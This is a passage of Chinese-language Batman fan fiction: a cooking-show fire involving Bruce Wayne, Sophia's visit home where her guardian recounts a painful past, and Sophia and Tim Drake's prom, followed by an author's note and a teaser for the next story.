不需要选手以投票的形式选出其中的内鬼, 布鲁斯此时只需要静观其变等待与戈登局长同名的明星厨师将自己淘汰掉就好。 至少比起电视明星，布鲁斯韦恩更适合成为一个宴会上的漂亮花瓶，干些荒唐的符合花花公子设定的糊涂事，将大把大把的钞票都扔给姘头蝙蝠侠和那些有去无回的慈善事业，偶尔传出来一些沉迷极限运动受伤或者和哪个封面女郎的风流韵事，就已经足够符合大众的幻想。 也就在此时，负责主菜的另一位选手凑到了布鲁斯身边，那张面团一样的脸上满是恭敬，像是被打气筒打足了气而鼓起来的身体却保持着不远不近的距离。 “韦恩先生我们这里恐怕出现了一些问题。” “主菜还没处理好吗？我想我帮不上什么忙。”布鲁斯抬起头那双足够水润的钢蓝色眼睛里和男人对上了视线“汤姆的手还好吗？” “只是些小伤，只是汤姆目前恐怕不太适合去完成火焰牛排的最后一步。” 来寻求帮助的选手是家米其林餐厅的厨师，只不过目前为止还在做某位大厨的学徒，布鲁斯对此印象颇深，毕竟那位脾气暴躁的主厨因为走私毒品被逮捕，整个餐厅的厨师大多都涉及在这件案子里，只有这个名叫欧文的男人因为被排挤毫不知情，反而免去牢狱之灾。 从餐厅倒闭后欧文就失去了工作险些流落街头，被父母鼓励了很久才鼓起勇气报名这档节目想要找到一份新的厨师工作。 节目录制时，欧文也展现出十足的礼貌和善解人意，那些大家不愿意做的麻烦工作大多都是他在处理，反而白白浪费了不少在镜头面前出风头的机会。 而此时最有经验的汤姆弄伤了手指后厨一片混乱，病急乱投医的欧文想到了布鲁斯。 来不及拒绝的布鲁斯只能推着餐车走出后厨走向那位点了火焰战斧牛排的顾客，但即使是见多识广的哥谭阔佬看到座位上自己那个前一天还大吵一架大喊“Fuck Batman”的二儿子此时只在平日的衣服外套了件深棕色的皮衣，那双透着绿色眼睛里都是活力十足的挑衅。 坐在杰森对面那个红发的青年布鲁斯也有印象，绿箭侠曾经的助手快手罗伊哈珀，如果没有记错这个离开了导师的孩子如今有了新的代号——军火库。 虽然不记得两个孩子在什么时候建立起了深厚的友谊，但没关系现在这个热情为食客介绍菜品的人从来不是蝙蝠侠，而是社交属性拉满的哥谭交际花布鲁斯韦恩。 “你好陶德先生和哈珀先生，请让我为你们热情地介绍这道菜品，火焰战斧牛排。这是一道历史悠久的起源于古罗马时期的菜品，仅仅从它的名字就展示出牛本身所包含的无限的力量，那份坚毅和热情全都由火焰放大。而火焰带来的高温在锁住肉汁保持足够多汁的同时，也带来外焦里嫩地完美口感。” “接下来请让我为两位演示最后也是最关键的步骤。” 从餐车下方取出准备好的酒水，布鲁斯意识到这瓶酒的重量似乎轻了些，但略显紧张的欧文已经打开了密封好的红酒瓶，浓烈的酒精味扑鼻而来。 欧文随后拿出喷枪手忙脚乱地进行下一个步骤，在淋上准备好的酒水后男人用喷枪点燃了火焰，随后火苗迅速地在处理好的牛肉上熊熊燃烧了起来。 杰森原先还在对着导师难得的演出吹口哨，但眼前有一人高几乎要窜上天花板地火焰明显超出了两人的预期，这对父子默契的黑了脸色，布鲁斯甚至能看到杰森嘴唇抖动时几乎要喷涌而出的足够将脏话罐塞满的“fuck”，而餐桌对面罗伊还在兴奋的为这场足够抓马的火焰秀鼓掌。 装作受惊的布鲁斯后退一步，就看到下意识想要用冷冻呼吸灭火的克拉克被露易丝死死捂住了嘴，不方便在大庭广众下使用魔法的索菲亚的眼睛都瞪圆了几分，抓紧了提姆卫衣的袖子，而扎塔娜的嘴唇微动原先猛烈的火势稍稍得到了控制，但现在还是需要用灭火器才能彻底扑灭肆虐的火焰。 就在此时，餐车下的那瓶红酒掉在了地上，只是片刻带着刺鼻酒精气味的液体就将原先能够被控制住的话火势迅速扩大，甚至顺着液体的流动蔓延到了更大的区域。 戴安娜脱下了身上那件不方便行动的风衣递给扎塔娜，那双锐利的眼睛环视一周立马找到了挂在墙上的灭火器，而超人的超级大脑同样想到了最好的解决方案，长腿轻松跨过了火苗接过了戴安娜递来的灭火器。 斯蒂芬妮和卡珊德拉两个女孩捂着嘴跟着人群向门外离开，但从女孩弯曲的眉眼来看，搅局者恐怕光是憋笑就憋出了内伤。 迪克先推着行动不便的芭芭拉去了安全的位置，才回到现场拿出另一个位置的灭火器和杰森一起加入战局，兄弟俩难得并肩作战，却没想过会看导师乐子的时候遇到火灾，严肃了不到半分钟两人的脸上就不约而同地出现了笑意。 好在这场事故只是意外，根据来自红罗宾的事后调查，选手中有个来自俄罗斯的厨师错把自己偷偷带进来解馋的高度数伏特加和火焰牛排用的红酒搞混，这才导致这场闹剧的发生，好在除了没吃上饭饿的饥肠辘辘的食客外，没有人受到伤害。 一封公关部早就准备好的推出节目的邮件此时安静的躺进了节目制作人的邮箱里。 一代名厨，就此陨落。 ———————————— 失去了晚饭的一行人在餐馆外面面相觑，随后不约而同地加入了斯蒂芬妮组好的饭局，塞满了那家算不上宽敞的烤肉店。 和这群孩子一起挤在一起，只用负责埋头吃肉的布鲁斯，终于靠烤肉慰藉了那颗足够受伤的心灵，阿福带来了提前准备好的小甜饼作为点心，但也没完全放任这些食量大开的大孩子小孩子一头扎进大鱼大肉里，额外提供了过于健康的果蔬汁作为维生素的补充，引来一片哀嚎声。 —————————— 1.当晚烤肉店超英的浓度甚至快超过正义联盟 2.被蝙蝠侠抓住还没来得及投放恐惧毒气的稻草人挨了今年最狠的一次毒打 3.有人偷偷倒掉了杯子里的果蔬汁被管家抓了个正着 4.所有人都在吃肉，除了素食主义者的达米安正努力的吃阿福单独烤好的蔬菜，像一头健壮的小牛 5.《地*厨房》第二期收视率再创新高，不少网友表示就算在火灾现场能够看到布鲁斯韦恩那张美丽的脸都算不虚此生，只可惜明星选手布鲁斯因为受到惊吓卧病在床提前退出了节目 6.黑暗中冷静销毁节目报名表的红罗宾露出一个平静的微笑《 》 【全文完结】 第121章 返乡 曾经一位伟人说过：我即黑暗, 我即复仇，我就是百特曼。 虽然和当下要说的话题没什么关系，但要求任何一个和蝙蝠侠相处过的人突然说一句话, 大多数只能想到和百特曼有关的经典语句。 根据红罗宾进行统计，另外几句出现频率极高的话分别是“我们需要谈谈”，“你不勇敢人类才勇敢”, “氪星人会流血吗”和一句言简意赅的“Robin！”。 而最后那句往往带着愤怒和无力感的台词大多数只针对于从小在刺客联盟接受战士+暴君式教育的新任罗宾达米安, 毕竟一上来就和家里所有兄弟开战的蝙蝠仔mini版充分证明了自己不是什么任人拿捏的软柿子，而是一颗充斥着尖刺的榴莲让人摸不着头脑。 不过好在达米安是一个愿意尊重强者意愿的小朋友，而哥谭最强大的男人恰好是他的父亲，这就意味着在他的翅膀还没硬到能把他二百多磅的父亲扇晕之前, 达米安都会是一个相对比较听话的小学生。 总之感谢蝙蝠侠, 能够在哥谭四处收留小孩的同时还能帮走失儿童找到回家的路, 只可惜在哥谭评选感动哥谭十大人物像是什么加入光*会前的羞辱意识，不然索菲亚一定要动用自己在论坛吃瓜多年的积累下来的人脉让蝙蝠侠成为能让小丑看了流泪贝恩看了沉默的“哥谭好人”。 索菲亚在哥谭中学念书的第二个年头突然找到了回家的路。 离开前的氛围格外凝重，斯蒂芬妮像是对待绝症病人一样几乎想满足索菲亚的所有愿望, 那半个月索菲亚平白胖了五斤, 晚上想和搅局者蝙蝠女一起打个配合都没能跳到预定的位置, 像只胖猫一样狼狈的落地。 卡珊德拉原先还和斯蒂芬妮索菲亚一起放开了吃，但是在第二顿大餐时就察觉到了问题并开始有意的控制食欲, 只留下这对哥谭好舍友一起快乐的徜徉在高热量食物的海洋里。 其他人各有各的事, 尤其是提姆, 同时在少年泰坦、少年正义联盟、蝙蝠洞以及公司的各种工作里忙的团团转, 把自身的价值如同海绵一样压榨到极致，眼下的黑眼圈突破了遮瑕让小红鸟拥有随时突破生物学极限转变为熊猫的可能。 此时咖啡的提神效果几乎免疫, 少年站在学校的自动贩卖机前看了又看最后带了两罐功能饮料还顺便给睡到昏迷不醒的索菲亚带了罐可乐提神。 连续一周和提姆没办法面对面独处让一向没那么斤斤计较的索菲亚不免也一肚子气, 毕竟就连蝙蝠侠在外太空和三体人战斗的时候都能有空回复阿福的信息, 红罗宾现在是在和赛亚人战斗吗？还是说卢瑟一口气给克拉克搞出了一个足球队的氪星人同胞，而提姆在帮着康纳捍卫超人和卢瑟后代中嫡出的地位？ 于是憋着一肚子火的索菲亚当晚就拦下了刚看到猫头鹰的影子就急转弯想要离开的小红鸟开始审讯。 “你欠我钱了吗？怎么跑那么快。” “抱歉，索菲亚我只是有点……忙。”提姆移开了视线，那双蓝眼睛被面具遮住，索菲亚只能看到像是漫画手法一样用白色填充的轮廓。 “你手上的绑架案我有线索，B被便士一叫去处理了至少一周的文件，你今天的夜巡区域搅局者可以代劳，你还有其他事吗？” 红罗宾停了下来对着索菲亚缓缓转过了身体，身后红黑配色的披风边缘带着羽毛一般的图案，像极了鸟儿的翅膀在微风的作用下微微晃动，索菲亚没继续说话等着对方的回复，但一向能言善辩的提姆和索菲亚大眼瞪小眼了半天也没憋出来一句话。 “你总不能要告诉我你突然发现你是男同决定英勇出柜——” “怎么可能！”提姆终于是没能忍住打断了索菲亚的话“我是不是gay你不清楚吗？” 还没结束变声期的公鸭嗓没了平日里一切尽在掌握的自信，意识到自己过度反应的提姆很快就调整回平时的状态。 “那你在生气什么？” “我没生气——” “你绝对生气了，你一直在躲着我。” 索菲亚死死抓着手里的披风不给提姆一点逃走的机会，少年只能被迫转过了身体和索菲亚面对面。 “你没做错什么，是我的问题。”提姆停顿了片刻随后牵住了索菲亚的手“我不该躲着你索菲。” 索菲亚没搭话只是歪着脑袋等着提姆继续解释这些天里的异常行为，但少年嘴唇颤动了半天最后崩溃的叹了一口气，用手捂住了自己的脸显得格外无助。 “没什么索菲亚，我没事。” 嘴上那么说，手却没一点松开的迹象，嘴硬的小红鸟沉默了许久才继续了话题。 “B那边系统的充能已经够了，那个世界的定位也已经确定，你还有什么想做的吗？” 索菲亚摇头但没把手松开，却隐约知道了小红鸟最近别扭的原因。 “我很快就会回来，我还没毕业呢。” 将比自己高了一头的少年抱在怀里，索菲亚的脑袋在少年的肩膀上蹭了蹭，只可惜红罗宾为了防止暴露身上是没有标志性气味的，不管是索菲亚一直放不下的海盐味还是宴会时为了显得成熟那种过分成熟的沉稳温暖的木质香，都只能在西装革履端着姜汁汽水和人谈笑风生的德雷克少总身上出现。 少年的身体僵直了片刻很快便放松了下来像只遇到了主人的猫一样，索菲亚刚伸出手红罗宾就自觉低下了脑袋，只差夹着嗓子喵喵叫来吸引爱人的注意。 “你不回来也没关系，那里才是你的家，我能理解。为了我的私心让你留下来，这对你不公平。” “没关系的索菲亚，我没事。” 紧赶慢赶，回家的日子还是来了，索菲亚这几天跟着蝙蝠侠频繁的做检查，做了一堆应对各种措施的准备，即使是掉到了侏罗纪猫头鹰也不至于毫无招架之力只能扯白旗一边投降一边等待蝙蝠侠的救援。 只可惜那些多余的准备没能派上用场，一道过分符合刻板印象的蓝光扫过，只是眨眼的时间索菲亚来到了和瞭望塔完全不同的街巷之中。 按照那条走过无数遍的道路回到和监护人一起住了几年的公寓门口，只是索菲亚的口袋里当然没有钥匙，就干脆抱着腿坐在了门口。 天花板角落的摄像头慢慢调整着角度直到和索菲亚完全对视，随后便是身后智能门锁自动弹开的响声。 监护人一向喜欢那种宽敞明亮的大平层，索菲亚刚一进来就看到了落地玻璃外纽约车水马龙的繁忙景象，而室内的一切摆设都和索菲亚离开前没有太大区别。 熟门熟路的回到房间在衣柜里找到自己的睡衣，把自己换下来的衣服全都塞进洗衣机里，坐在那张足够宽敞柔软的床榻上，看着眼前几乎没有变动的房间，索菲亚恍惚了片刻，以为自己从未离开过。 钻进被子里索菲亚拿出手机点了几下，很快得出了结论。 果然离开了那个由超级英雄组成的世界，手机几乎成了板砖，不过这不算什么问题不是吗？ 等到索菲亚听到再次开门的声音困顿的睁开了眼睛，门外来自另一个人的动作存在感格外强，那声音持续了一会儿突然便安静了下来，随后便是门把手被轻轻压下的声音。 “有什么想吃的吗？要去店里吃吗？” 伊芙琳的声音几乎没有任何变化，索菲亚向房门看去只能看到那个还披着风衣的身影。 “不知道。”索菲亚打了个哈欠从床上坐了起来，只有能够垂落在胸前的长发才能展示出那些不经意间时间的流逝。 那晚索菲亚跟着监护人去吃了几年前就去过的那家日料店，主菜是寿喜烧，除此以外足够多汁的炸猪排搭配足够浓稠的淋在米饭上的咖喱汤汁足够让任何一个人吃迷糊，索菲亚自然不例外。 伊芙琳在寿喜烧的基础上还叫了碗拉面，吃光了拉面后也要了一份和索菲亚一样的咖喱饭。 两个人都低着头一心干饭，直到那些盘子都彻底清空到了喝饮料消化食物的环节，伊芙琳才开始了久别重逢后的第一个话题。 “蝙蝠侠帅吗？” “帅。”索菲亚一味的点头在颜值上对百特曼进行了肯定“人也很靠谱，不管发生什么事只要有他在都没问题。” “其他人呢？你交朋友了吗？”伊芙琳拿手支起脑袋侧着脸看着索菲亚有些圆润的脸颊“还是说你到了哥谭还是独行侠？” “我以为你都通过系统看到了。”索菲亚还在用吸管吸汽水但还是回答了那个问题“斯蒂芬妮是我的超级好朋友，她是个活泼勇敢的姑娘，有点像小金毛，我们现在住在一起。还有卡珊德拉，她来家里晚一点，比我还能打好多，但脾气很好几乎不生气。” “我想听你自己讲嘛。”伊芙琳轻笑然后随着索菲亚的话点了点头“我知道，她们是搅局者和黑蝙蝠，有本蝙蝠女孩的刊物就和她俩有关。” 索菲亚比划着把熟悉的那些朋友都介绍了一遍，有已经成为成熟大人的迪克，变身黑老大见谁打谁如今有成为猎魔人希望的杰森，还有那个目前还没能长成壮汉格外敏捷的达米安…… 伊芙琳那双蓝眼睛里满是认真，比起听索菲亚聊天更像是在听什么价值几亿的大项目，还在说话的间隙添了几道点心吃。 “那你的男朋友呢？”监护人的嘴角扬了起来追问道。 “他……很好，我很喜欢他。”索菲亚掏出手机开始给监护人看那些相册里的画面，说到兴起时女孩抬眼却发现监护人一直带着笑意看着索菲亚的侧脸。 索菲亚记不清楚第一晚是怎么结束的，只记得第二天睁眼换好了衣服就看到了坐在客厅上那个格外庞大的身影。 银色的半长发在脑后扎成了丸子头，那张成熟了许多的脸上在看到索菲亚的瞬间便扬起了笑容。 “伊芙琳有些忙，我正好有空。” 爱德华的脸比起几年前略显稚气的青年更像是一个成熟的白人男性，但那张看起来凶巴巴的脸上一旦带着笑容，那常年在战斗中历练出的杀气都被收敛了起来，看起来反而有些傻气。 索菲亚和爱德华有搭没搭的聊了很多，沿着曼哈顿街区的路边一路city walk，手上就没空过，要不然是挤满了奶油的可丽饼，就是糖分十足的奶茶，一直到天色渐暗路灯陆续亮了起来，男人招呼索菲亚去了一家中餐馆。 点好的菜摆满了餐桌，但对于两个饥肠辘辘的猎魔人来讲完全算不上负担，那一电饭锅的米饭还未坚持到这顿饭的一半就已经见底，只能是爱德华尴尬的向店主又加了一锅饭。 等到了午夜爱德华将索菲亚送回了监护人的公寓，灯光下猎魔人似乎还能透出当年那个愣头青的影子来，而索菲亚似乎还是那个出卖组织想要跑路的二五仔小猫头鹰。 男人似乎想说些什么但最后还是把那些话都咽了下去，揉了揉索菲亚蓬松的脑袋。 “好久不见索菲亚。” ———————— 伊芙琳回来的格外晚，看到坐在沙发上的索菲亚时女人愣神了片刻，但很快恢复了平静。 “不去睡觉吗？” “我在想一些事。”索菲亚捧着水杯喝水，冰块和玻璃杯碰撞在一起发出清脆的响声“一切好像变了好多。” “总是这样的。在学校的时候哪怕还有几天不在，就好像错过了一辈子一样，但坐在座位上我却从没感觉这些时间过去的有多快。”伊芙琳按下咖啡机的按钮听着机器运转的响声“在中国这叫什么？物是人非。” 又是莫名其妙出现的沉默，索菲亚盯着女人的背影，那种不知道说什么的情况再次像个罩子一样将索菲亚锁了进去，从自己被迫离开过了多久？五年，这些时间足够二十五岁的伊芙琳步入三十岁的大门，也足够十九岁的爱德华完全变成成熟的大人，大家都在向前走，只有索菲亚被困在了原地，在一片大雾里迷路。 “你很喜欢哥谭吗？”监护人打破了沉默。 “还好。”　索菲亚快速的回答“因为有很多熟悉的人在。” “那这里呢？” “这里当然很好，有你，有爱德华，还有很多人。”索菲亚这么回答，但依旧有种怪异的感觉，自己已经如愿回家，但那种若有若无的距离感却始终让人不舒服。 “我有没有讲过大家是怎么成为猎魔人的？”女人端起咖啡叹了口气继续道“爱德华因为火灾成了猎魔人，从此以后他成了外人眼里的怪胎，但直到十七岁他才真正成为了猎魔人，因为他和正常世界唯一的羁绊断掉了。” “他的养父是他所在孤儿院的神父，那是个名声在外的老好人，但只有少数几个人才知道，那是个真正的衣冠禽兽。他挑选那些容易犯错的孩子，通过循序渐进的惩罚方式选出他的猎物，然后占有侵犯他们，直到那些孩子长大失去了价值，再去选择下一个孩子。” “爱德华是个成绩优异的乖小孩，他眼里的养父总是一团和气，然后有一天那个老头死了，爱德华从而知道了一切，从此那根线断了。” “而我，也不是主动选择了这条路。” “孤儿院只能养我们到十五岁，我小的时候总是生活在可能被神父侵犯的恐惧中，也因此错失很多被领养的机会，直到我长大彻底失去作为孩子的优势，只能被迫成为大人进入社会。” “我知道我需要上学，只有知识才能改变我的命运，于是我用尽了一切办法但开学前的一周，我的学费还是差五百块。” “那时有个吸血鬼猎人找上了我，他需要一个引出猎物的诱饵，只要我答应下来，他愿意给我五百块，只需要半天，我答应了。” “然后我被吸血鬼差点吸干了身上所有的血时，那个家伙才不紧不慢的出现爆掉了那只吸血鬼的脑袋，那时起我意识到一件事，原来我的命只值五百块。” “然后我就成了猎魔人。” 室内的氛围安静到继续窒息的地步，但伊芙琳没有任何挖开伤口的悲伤和痛苦，冷静到像是在讲其他人的故事。 “我们只是暂时聚在一起，但并不代表要永远在一起，索菲亚我能感受到，在这里的每一天，你并不快乐，因为我们这些大人都是这样的，自己痛苦的同时把那些痛苦带给了你们这些孩子，但这是不对的。” “你不讨厌这里，但也仅此而已，你没有必要仅仅为了某个人强迫自己留在一个地方，那对你不公平。” “……可我不想和你分开。”索菲亚听到了哽咽声，直到伊芙琳上前将自己抱在了怀里才意识到原来在哭鼻子的人是自己。 “我们从来没有分开不是吗？”监护人擦去少女迟到了太久的眼泪，那双蓝色的眼睛如同大海一般平静但充满了力量“我很高兴，我亲眼看到你走出来了，虽然这个过程总是痛苦的，但长大就是这样的，不管是我还是爱德华，我们都是忍着疼痛被迫长大。” 索菲亚囫囵的点头，泪水却还是如同泄洪一样从眼眶涌出打湿了伊芙琳身上那件足够柔软但也足够昂贵的衬衫，女人的手轻轻拍着索菲亚的后背像是哄孩子一样。 或许索菲亚早就做好了选择，但至少初出茅庐的猎魔人明白，无论自己身处何地，都不是孤身一人。 但至少在再次离别前的夜晚，索菲亚决定放下所有的坚强和勇敢，缩在监护人的床铺上做一只弱小可怜无助的小猫头鹰，在被监护人的体温一点点暖热的带着雪松味道的被子里缓缓入睡。 第122章 未来 在高中生活结束之前, 索菲亚身边大多数人都在为接下来的大学生活而努力，两年多的生活都被凝缩在几张纸上被递送给不同的学校，直到找到能够和自己双向奔赴共度四年甚至更长时间的那所学校, 只是这件事和决定直接无痛成为猎魔人的索菲亚没什么关系就是了。 在大家还在为了成绩单上好看一点的分数奋斗的时候，索菲亚往往是那个在学业上浑水摸鱼的混子，以至于和蝙蝠洞大多数人足够漂亮到在美国选择任何一座藤校的成绩所对比, 索菲亚的成绩单那几个低分飘过勉强合格的成绩显得格外不堪入目。 不过比起班里那些在接到offer之前每天都有脱发风险的同学, 索菲亚的朋友们几乎都是非常冷静地向想要申请的学校递交了成绩单、文书、推荐信之后，在处理完手里那些动辄十年起判的案件的空余才想起来打开邮箱接收offer，然后继续一头扎进和那些罪犯千变万化的斗智斗勇之中。 很快春天就结束了，即使到了晚上, 风也没有变得温和的迹象, 混杂着蝉鸣声让人格外烦躁, 预示着高中即将彻底结束的夏天来了。 教室里讨论的话题摆脱了那些焦躁和不安反而直奔毕业舞会的方向而去，斯蒂芬妮觉得好玩打算把卡珊拉来做自己的舞伴，而好同桌提姆显然提前着手开始了准备, 等到索菲亚意识到舞会已经在眼前时, 靠在沙发上闭目养神的少年把手里的平板递给了索菲亚。 作为被十项全能选手百特曼带出来的学生, 蝙蝠洞里五颜六色的小鸟大多都身怀绝技，就连索菲亚都莫名其妙学会了画简笔画的技能, 虽说画面没有精细到出道做画家的程度, 但至少猎魔人制服的设计稿算得上一目了然, 不会让蝙蝠侠看了摸不着头脑。 提姆在这方便更有耐心些, 与生俱来的完美主义让他愿意花些时间去精进画技，只可惜能够去申请美院的技术大多数都用在了和女朋友传纸条上, 各种歪着脑袋圆滚滚的小红鸟大多被索菲亚存进了手机当表情包用, 有时候小红鸟的旁边还有一只看起来不太聪明的猫头鹰, 也有的时候巨大的蝙蝠身后跟了一长串颜色各异的小鸟。 不过大家还是比不过常年浸润在纯爱少女漫海洋里从而掌握精细华丽画风的达米安，罗宾将能拿博士学位的心理学知识全都放在了同人领域，产出了一篇篇蝙蝠侠看了都说好的高质量HE短漫，如果不是碍于面子，或许哪天索菲亚就能在某场漫展上看到达米安卖签售本的珍贵画面。 对此搅局者斯蒂芬妮在群里发布重要讲话：得想个办法把恶魔崽子踹进《地*客栈》《瓢*少女》《极*老大》的坑里。 索菲亚此时正拿着平板看提姆产出的几款礼服的设计稿，大多都是些方便行动的裙子不至于出现一不小心摔飞出去几米远的惨剧，配套的鞋子大多也都是低跟甚至平底的礼服鞋。 在青春期因为纤细身材而不得不多次以女性身份潜入不同场所来获取情报的提摩西先生深受不同类型美丽刑具的折磨，因而在为女朋友设计毕业舞会上的礼服时优先考虑舒适度和方便程度，其次才是让裙子显得更漂亮的美化。 索菲亚在平板上划来划去只感觉每套都好看，最后只能看旁边提姆自己的那套礼服，一看就选定了酒红衬衫橘色领带搭配黑色西装的那套，这时回过头来看才发现竟然意外给自己选了套和衬衫相同颜色的吊带缎面长裙。 索菲亚戳了戳提姆的胳膊，青年的脑袋顺势就靠在了肩膀上但没用太多力气和肩膀上顶只小鸟没有区别。 “你喜欢这套吗？那你别忘了给我的胸花，大家都有胸花只有我没有的话我会伤心的。” “我不会忘记的，你穿酒红色很好看。”索菲亚开始戳青年如今没什么肉的脸颊，一年前还是一米七纤细少年的提姆如同打了激素般在这短短的两年里疯长，只有索菲亚迷茫的看着之前只高了自己一个脑袋的男朋友悄无声息的长成了一米八五的壮汉。 明明说好的这个猫不会长那么大的！！！ 蝙蝠洞的空气里是打生长激素了吗？ 好在恋爱里的男人格外臭屁，提姆依旧在处理繁杂事务的同时还能记得身材管理，让自己不至于长成韩漫里过分夸张的双开门冰箱，那张俊秀的脸庞如今褪去了稚气但也没往五大三粗的方向发展，至少看上来德雷克总裁还是一如既往的赏心悦目。 如今那张可以在昂贵程度和布鲁斯媲美的帅脸安静的躺在索菲亚的肩头，蓝色的海洋一样的眼睛全神贯注地看着眼前，但脸颊却像是急着被抚摸的猫一样轻轻的在索菲亚的掌心来回蹭过。 那双眼睛看了过来，看向了正全神贯注盯着提姆的另一双金色的眼睛，索菲亚能看到那双眼睛里自己的倒影，也能看到自己眼睛里属于提姆的倒影，青年轻轻勾起嘴角将脑袋抬了起来，蹭到了距离索菲亚更近的位置，带着茧子和伤痕的手一只搭在索菲亚的大腿上，而另一只手环在少女的腰后。 橘黄色的夕阳从窗户打了进来，照在地上那条提姆作为圣诞礼物精心挑选的地毯上，手边还放着两杯喝了一半的冰可乐，冰块慢慢的融化碰撞将棕色的液体稀释了许多。 这只是一个夏天随处可见的即将结束的下午，但很快索菲亚就会和提姆在一起度过很多个这样的下午，这么想来时间的流逝也不算可怕。 等又过了一段时间，天气更热了些，淅淅沥沥的雨下个不停。 又一个难得晴天的下午，索菲亚闭着眼感受化妆刷在脸上扫过的触感，落在皮肤上轻柔的呼吸来自索菲亚相处了三年的恋人，刚睁开眼睛提姆就忍不住开始微笑。 “你不会失手了吧？”索菲亚挑眉正要侧头吐槽提姆就被捏住了下巴。 “别动，眼线还差一点。”提姆凑得更近了些，身上浓重的雪松味的香水让青年往成熟男人的方向更近了一步“你要相信我，卡洛琳不够漂亮吗？” “我愿意为了卡洛琳变成女同。”索菲亚顺着提姆的动作抬起头却实在控制不住嘴角流露出笑声“谁会不喜欢温柔护士姐姐。” “那很可惜了，卡洛琳是限定款，你只能和无趣的男人提摩西恋爱了。”将手上那张清秀的脸颊轻轻的转动发现几乎没有瑕疵的提姆满意的点了点头，随后从自己的化妆包里找起了口红“索菲你喜欢哪个颜色？正红？酒红？” “都可以吧，你选一个不沾杯的就好。”索菲亚的眼睛因为画眼线不舒服的眨个不停好不容易才适应下来“或者找一根你涂上也不奇怪的颜色。” 口红落在嘴唇上的触感有些奇怪，比起索菲亚更熟悉的润唇膏要更干涩一些，但好在只是一层打底，之后还要上一层唇釉叠涂才能出现最后的效果，索菲亚就这样无聊的坐在椅子上等男朋友像是打扮等身玩偶一样摆弄自己。 等到夜色降临，索菲亚抓着提姆的手和那些或熟悉或陌生的同学一起出现在礼堂里，斯蒂芬妮正穿了件选了紫色的裙子正拉着卡珊德拉在舞池里跳舞，直到切换音乐的间隙才找到机会和索菲亚打招呼。 索菲亚不算什么舞蹈达人，只能在提姆的引导下跳最简单的那种，好在两人之间还存在着默契，在舞池里翩翩起舞的小情侣中也算得上和谐，但当音乐换了三首两个人还在循环最简单那段舞步的时候，索菲亚自己都没憋住笑找了个机会拉着提姆跑到了角落里。 跳过了舞就无所谓嘴上的口红会不会花掉，索菲亚干脆开始在餐桌上找东西吃，提姆开了罐可乐跟在索菲亚身后，时不时张嘴接受女朋友的投喂，吃完一轮两个人凑在角落里的休息区遇到了蒂娜。 蒂娜的舞伴是临时组队的朋友，跳到一半就没了影子，好在少女并不在乎，现在还能乐呵呵的谈全班的八卦。 提姆对同学那些爱情故事早就摸得足够清楚，但索菲亚还是一脸认真地竖起耳朵听那些足够复杂但一定程度上也算得上简单的爱恨情仇，蒂娜越讲越起劲将全校的八卦都囊括了进来，只留下索菲亚发出“哇塞”“怎么能这样”“哦哦”的惊呼。 等到场上跳舞的人又换了一轮，小心眼的红罗宾牵着女朋友再次进入舞池。 “我还以为有机会品尝你口红的味道呢，布兰登小姐？” “就在你的西装口袋里，你直接拿出来啃一口，我不在乎的，一根口红而已。”索菲亚说完装出什么都听不懂的样子但这话实在太扯没坚持多久就没办法维持脸上足够义正言辞的面具“那你帮我补妆，我们溜出去？” 于是这对小情侣跳了不到半首歌又推开人群跑了出去钻进了礼堂外的角落里，比起喧嚣的室内室外安静了很多，提姆选了路灯下的角落，借着暖黄色的灯光重新给索菲亚褪去了颜色的嘴唇染上和自己胸前的胸花一模一样的颜色。 只可惜那抹颜色只在少女的嘴唇上停留了片刻，就被另一对嘴唇急不可耐的附着了上来，索菲亚再熟悉不过接吻的过程，只是这次加上了来自口红的味道，那味道有些苦涩，但也在□□的稀释下变得甘甜，此刻即使吞下的是毒药索菲亚也不会拒绝。 分开的间隙，提姆的嘴唇上果然如预料般染上了一抹酒红色，像是玫瑰像是索菲亚身上那条缎面的长裙，也像是红罗宾披风下那一抹羽毛一样的红色。青年海洋一样的眼眸此刻掀起巨浪，爱欲不可控的流淌而出，连带着体温也跟着上升。 那张没有涂上腮红的脸颊也跟着染上了浅红色，索菲亚感受脑后那只手传递来的力度，闭上了眼睛，将一切理智都抛之脑后，放任自己和眼前的人沉溺在此刻。 …… 等到两个人终于找回来被扔掉的理智回到礼堂的时候，舞会已经接近尾声，此时正在公布大家投票出来的各种奇怪奖项。 比如学校里最可能成为霸道总裁的提摩西德雷克同学，再比如最可能成为大明星的某位同学，再比如最有可能成为美国总统的蒂娜小姐。蒂娜没有丝毫不适，甚至能跳上台宣布自己五十岁之前努力成为美国总统，让美国变得更加伟大。 索菲亚在台下拍手拍的手疼，但在这种完全由年轻人组成的，和一切利益无关的场合下，就算是成熟如提姆也会被这种环节逗笑，更何况每天像只猴子傻乐的索菲亚。 直到舞会散场，索菲亚再次牵上了提姆的手，只是这次他们将一起走向未来。 作者有话说： 写完了写完了[加油]好起来了，其实还有一个篇幅长一点的番外但那个故事和主线关系不大，我过几天再更新，这章番外更新后这篇文就会标注完结了，ヽ(??▽?)ノ 提姆和索菲亚的青春期和故事一起结束了，感谢各位老师支持 顺便再来推推下篇无cp预收《哥谭打工皇帝》 十年寒窗苦读，即将毕业时上杉离的导师进了阿卡姆。 脱去孔乙己的长衫后连条裤衩都没有的上杉离，只能在哥谭选择其他的出路。 “用自己学历找工作怎么样？”穿着警服的英俊男人举着酒杯说。 “我大学的专业是宗教学。”扎着高马尾的酒保在酒杯上放上一片薄荷递给面前的客人“你想听巫毒教的现代发展还是撒旦教的新时代变革。” 小警员默默闭上了嘴低头喝散发着凉气的莫吉托。 “说实话哥们，你不考虑其他的工作吗？”带着红头罩的强壮男人高举着双枪不断向敌人发射出橡胶子弹怒吼道。 “之前我在哥谭做杀手三个月被黑暗骑士打了二十次，进行了反思。”侧头避开子弹的杀手端起狙击枪一发爆掉了敌人头目的脑袋“我现在只在哥谭之外的地方做杀手，就是为了避开他。” 带红头罩的男人迟疑的扭头打出一个问号。 “你的目的是什么？” 黑暗骑士与神秘调查员在黑夜相遇，调查员漫不经心的将与西服同色的领带扯松。 “我希望阿卡姆马上爆炸，这样我的导师就能离开那个地方。” 话音未落，阿卡姆原地起飞，罪犯欢呼着四散而逃，而青年的身影消失在黑夜之中。 漫长的工作后，黑暗骑士终于躺在了柔软的床上，回忆起青年的回答猛地睁开眼。 “不对。”《 》